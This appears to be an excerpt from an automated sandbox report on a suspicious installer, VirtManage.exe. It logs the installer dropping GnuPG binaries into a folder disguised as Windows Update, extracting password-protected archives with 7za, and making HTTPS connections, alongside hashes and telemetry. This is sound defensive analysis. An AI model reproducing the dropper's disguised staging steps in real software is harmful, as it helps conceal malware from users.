Source: powershell.exe, 00000023.00000002.2949887031.00000209C83A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.00000192011B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1548555787.0000019200A5B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: powershell.exe, 00000023.00000002.3011474935.00000209D6BD2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.1567661185.0000019210073000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, libassuan-9.dll.0.dr, gpg-agent.exe.0.drString found in binary or memory: https://www.globalsign.com/repository/0
Source: 7za.exe, 00000008.00000003.1170477347.00000225582C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.robware.net/about
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownHTTPS traffic detected: 104.21.62.135:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040573B
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00406DE60_2_00406DE6
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004075BD0_2_004075BD
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004BF8C02_2_004BF8C0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0047A1502_2_0047A150
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004124402_2_00412440
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004E04002_2_004E0400
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004245702_2_00424570
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004605C22_2_004605C2
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004745E02_2_004745E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0048E5E02_2_0048E5E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004986002_2_00498600
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004506902_2_00450690
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0046A6902_2_0046A690
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004387E02_2_004387E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004CC8C02_2_004CC8C0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0040CAD02_2_0040CAD0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004D2AE02_2_004D2AE0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00434B602_2_00434B60
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0047CB282_2_0047CB28
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004A2BF02_2_004A2BF0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00466B862_2_00466B86
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0045CB802_2_0045CB80
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_00406C102_2_00406C10
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0042D0702_2_0042D070
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004191692_2_00419169
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0046D1002_2_0046D100
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0044D1802_2_0044D180
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004E11902_2_004E1190
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004A53002_2_004A5300
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_0040D5112_2_0040D511
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004BB6F02_2_004BB6F0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004BF8C04_2_004BF8C0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0047A1504_2_0047A150
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004124404_2_00412440
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004E04004_2_004E0400
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004245704_2_00424570
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004605C24_2_004605C2
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004745E04_2_004745E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0048E5E04_2_0048E5E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004986004_2_00498600
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004506904_2_00450690
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0046A6904_2_0046A690
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004387E04_2_004387E0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004CC8C04_2_004CC8C0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0040CAD04_2_0040CAD0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004D2AE04_2_004D2AE0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00434B604_2_00434B60
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0047CB284_2_0047CB28
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004A2BF04_2_004A2BF0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00466B864_2_00466B86
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0045CB804_2_0045CB80
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00406C104_2_00406C10
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0042D0704_2_0042D070
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004191694_2_00419169
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0046D1004_2_0046D100
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0044D1804_2_0044D180
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004E11904_2_004E1190
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004A53004_2_004A5300
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_0040D5114_2_0040D511
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004BB6F04_2_004BB6F0
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_004779404_2_00477940
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 4_2_00433AC04_2_00433AC0
Source: Joe Sandbox ViewDropped File: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe 9532E681430AD40091886F7E9953621D7C2D579E6FCCC20505E2DF7204921788
Source: Joe Sandbox ViewDropped File: C:\ProgramData\Microsoft\WindowsUpdate24\7za.dll BBA4FD66795A5D5F7B32994F445FED03279750D7CF4973B589A01D9DB42B3B31
Source: C:\Users\user\Desktop\VirtManage.exeProcess token adjusted: SecurityJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: String function: 004DF490 appears 125 times
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: String function: 00426BB0 appears 60 times
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: String function: 004DF438 appears 54 times
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: String function: 004DEFB0 appears 163 times
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: String function: 004C0240 appears 52 times
Source: zlib1.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libgcrypt-20.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libnpth-0.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: libgpg-error-0.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: aclui-2.dll.21.drStatic PE information: Number of sections : 20 > 10
Source: aclui.dll.21.drStatic PE information: Number of sections : 20 > 10
Source: libassuan-9.dll.0.drStatic PE information: Number of sections : 11 > 10
Source: aclui.dll.0.drStatic PE information: Number of sections : 20 > 10
Source: VirtManage.exe, 00000000.00000002.2944208895.000000000040A000.00000004.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamensis7z.dll, vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamegpg-agent.exeT vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamegpg.exeT vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibassuan.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibgcrypt.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibgpg-error.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamelibnpth.dll" vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamezlib1.dll* vs VirtManage.exe
Source: VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamezlib1.dll* vs VirtManage.exe
Source: VirtManage.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: classification engineClassification label: mal42.expl.evad.winEXE@53/51@2/2
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeCode function: 2_2_004AE4A0 FormatMessageA,strlen,GetLastError,2_2_004AE4A0
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004049E7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004049E7
Source: C:\Users\user\Desktop\VirtManage.exeCode function: 0_2_004021CF CoCreateInstance,0_2_004021CF
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeFile created: C:\Users\user\AppData\Roaming\gnupgJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3056:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8020:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5704:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7084:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7296:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2216:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6960:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7360:120:WilError_03
Source: C:\Users\user\Desktop\VirtManage.exeFile created: C:\Users\user\AppData\Local\Temp\nsk1A3C.tmpJump to behavior
Source: VirtManage.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\VirtManage.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table if not exists encryptions (binding INTEGER NOT NULL, time INTEGER);create index if not exists encryptions_binding on encryptions (binding);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table version (version INTEGER);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: insert into version values (1);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select count(*) from sqlite_master where type='table';
Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select ((select count(*) from ultimately_trusted_keys where (keyid in (%s))) == %d) and ((select count(*) from ultimately_trusted_keys where keyid not in (%s)) == 0);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select user_id, policy from bindings where fingerprint = ?;
Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select fingerprint || case sum(conflict NOTNULL) when 0 then '' else '!' end from bindings where email = ? group by fingerprint order by fingerprint = ? asc, fingerprint desc;
Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: insert into ultimately_trusted_keys values ('%s');
Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table if not exists ultimately_trusted_keys (keyid);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, VirtManage.exe, 00000000.00000003.1102315934.0000000002C80000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000002.1131483073.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table version (version INTEGER);error initializing TOFU database: %s
Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select version from version;
